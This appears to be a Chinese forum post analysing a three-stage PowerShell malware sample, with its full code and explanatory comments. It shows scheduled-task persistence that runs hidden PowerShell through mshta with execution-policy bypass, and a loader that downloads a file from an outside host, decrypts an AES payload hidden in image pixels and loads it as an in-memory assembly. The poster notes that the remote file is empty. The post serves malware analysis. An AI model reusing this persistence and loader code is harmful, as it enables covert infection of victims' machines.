脚本1
- # 获取当前脚本名并去掉后缀
- $scriptName = $MyInvocation.MyCommand.Name -replace ".ps1",""
- # 替换路径中的 1.ps1 为 2.ps1
- $newScriptPath = $PSCommandPath -replace "1.ps1","2.ps1"
- # 替换路径中的 1.ps1 为 1.txt
- $txtFilePath = $PSCommandPath -replace "1.ps1","1.txt"
- try {
- # 获取当前脚本对应的计划任务
- $existingTask = Get-ScheduledTask | Where-Object {$_.TaskName -like $scriptName}
- # 创建新的计划任务触发器,每分钟触发一次
- $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1)
- # 创建计划任务动作,执行 mshta 以启动 powershell
- $action = New-ScheduledTaskAction -Execute "mshta" -Argument "vbscript:Execute(""CreateObject(""""WScript.Shell"""").Run """"powershell -ep bypass -File """"""""$newScriptPath """""""""""" ,0:close"")"
- # 检查当前用户是否为管理员
- $isAdmin = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544");
- if (!$existingTask) {
- # 如果计划任务不存在,则根据权限注册新任务
- if ($isAdmin -eq 'True') {
- Register-ScheduledTask -TaskName $scriptName -Trigger $trigger -Action $action -RunLevel Highest
- } else {
- Register-ScheduledTask -TaskName $scriptName -Trigger $trigger -Action $action
- }
- } else {
- # 如果计划任务已存在,则先注销再重新注册任务,并创建 .txt 文件
- if ($isAdmin -eq 'True') {
- Unregister-ScheduledTask -TaskName $scriptName -Confirm:$False
- Register-ScheduledTask -TaskName $scriptName -Trigger $trigger -Action $action -RunLevel Highest
- New-Item -Path "$txtFilePath" -ItemType File
- }
- }
- } catch {}
复制代码 脚本2
- # 获取当前脚本名称并去掉 .ps1 后缀
- $scriptName = $MyInvocation.MyCommand.Name -replace ".ps1",""
- # 标志是否已经创建了全局事件
- $eventAlreadyExists = $false
- # 创建一个全局事件等待句柄,命名为脚本名称
- $globalEvent = New-Object Threading.EventWaitHandle $true, ([Threading.EventResetMode]::ManualReset), "Global\$scriptName", ([ref] $eventAlreadyExists)
- # 如果事件已经存在,退出程序
- if (-not $eventAlreadyExists) {
- Exit
- } else {
- # 获取当前脚本所在目录
- $scriptRoot = $PSScriptRoot
- # 替换当前脚本名中的 "2.ps1" 为 "3.ps1"
- $nextScriptName = $MyInvocation.MyCommand.Name -replace "2.ps1", "3.ps1"
- # 构建下一个脚本的完整路径
- $nextScriptPath = $scriptRoot + "" + $nextScriptName
- # 执行下一个脚本
- $nextScript = & $nextScriptPath
- # 调用下一个脚本的入口点方法
- $nextScript.EntryPoint.Invoke($null, $null)
- }
复制代码 脚本3
- # 引入必要的程序集
- Add-Type -AssemblyName System.Drawing
- Add-Type -AssemblyName System
- # 函数:将图像转换为十六进制字符串
- Function ConvertImageToHex {
- [CmdletBinding()]
- param(
- [Parameter(Mandatory=$true)] [String]$imagePath, # 图片文件路径
- [Parameter(Mandatory=$true)] [String]$hexSuffix # 要匹配的十六进制后缀
- )
- # 加载图片
- $bitmap = [System.Drawing.Bitmap]::FromFile((Resolve-Path $imagePath).ProviderPath)
- $hexStringBuilder = [System.Text.StringBuilder]::new()
- # 遍历图片的每个像素
- for ($y = 0; $y -le $bitmap.Height - 1; $y++) {
- for ($x = 0; $x -le $bitmap.Width - 1; $x++) {
- $pixelColor = $bitmap.GetPixel($x, $y)
- $hexColor = [System.Drawing.ColorTranslator]::ToHtml($pixelColor)
- $hexColor = $hexColor.replace("#000000", "") # 去掉黑色的像素
- [void]$hexStringBuilder.Append($hexColor.replace("#", ""))
- }
- }
- $hexString = $hexStringBuilder.ToString()
- $hexString = $hexString -replace "`n", ", " -replace "`r", ", "
- # 检查十六进制后缀是否匹配,不匹配则去掉最后的字符
- for ($i = 0; $i -le 10; $i++) {
- if ($hexString.Substring($hexString.Length - 6) -ne $hexSuffix) {
- $hexString = $hexString.Substring(0, $hexString.Length - 1)
- } else {
- break
- }
- }
- return $hexString
- }
- # 函数:解密并加载程序集
- Function DecryptAndLoadAssembly {
- [CmdletBinding()]
- param(
- [Parameter(Mandatory=$true)] [String]$filePath, # 输入文件路径
- [Parameter(Mandatory=$true)] [String]$hexSuffix # 要匹配的十六进制后缀
- )
- # 调用 ConvertImageToHex 函数,获取图像的十六进制字符串
- $hexString = ConvertImageToHex $filePath $hexSuffix
- [byte[]]$byteArray = New-Object -TypeName byte[] -ArgumentList ($hexString.Length / 2)
- # 将十六进制字符串转换为字节数组
- for ($i = 0; $i -lt $hexString.Length; $i += 2) {
- $byteArray[$i / 2] = [Convert]::ToByte($hexString.Substring($i, 2), 16)
- }
- # 解密相关操作
- $encryptionKey = "AKJDnkjewioioew8494328"
- [byte[]]$salt = @(0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x11, 0x11, 0x12, 0x13, 0x14, 0x0e, 0x16, 0x17)
-
- [System.IO.MemoryStream] $memoryStream = New-Object System.IO.MemoryStream
- [System.Security.Cryptography.RijndaelManaged] $rijndael = New-Object System.Security.Cryptography.RijndaelManaged
- [System.Security.Cryptography.Rfc2898DeriveBytes] $keyDerivation = New-Object System.Security.Cryptography.Rfc2898DeriveBytes([system.text.encoding]::UTF8.GetString($salt, 0, $salt.Length), [system.text.encoding]::UTF8.GetBytes($encryptionKey))
- $rijndael.Key = $keyDerivation.GetBytes(128/8)
- $rijndael.IV = $rijndael.Key
- # 使用解密流进行解密
- [System.Security.Cryptography.CryptoStream] $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $rijndael.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
-
- try {
- $cryptoStream.Write($byteArray, 0, $byteArray.Length)
- $cryptoStream.FlushFinalBlock()
- $cryptoStream.Close()
- } catch [Exception] {
- return $false
- }
- # 将解密后的数据加载为程序集
- $decryptedAssembly = $memoryStream.ToArray()
- return [System.Reflection.Assembly]::Load($decryptedAssembly)
- }
- # 获取脚本的根目录和下载文件的路径
- $scriptRoot = $PSScriptRoot
- $filePath = $scriptRoot + "\AqrTRwsUTihEwxGVGKfj.txt"
- $fileUrl = "https://flashffl.com/?IVevhoJJwxHMzaHyLQeA=AqrTRwsUTihEwxGVGKfj.txt"
- # 如果文件不存在,下载文件
- if (-not(Test-Path -Path $filePath)) {
- (New-Object System.Net.WebClient).DownloadFile($fileUrl, $filePath)
- }
- # 调用解密和加载程序集的函数
- DecryptAndLoadAssembly $filePath "22EC2F"
复制代码 关键就在于这个
- https://flashffl.com/?IVevhoJJwxHMzaHyLQeA=AqrTRwsUTihEwxGVGKfj.txt
复制代码 但实际上这是个空文件,所以这个样本是无效的
|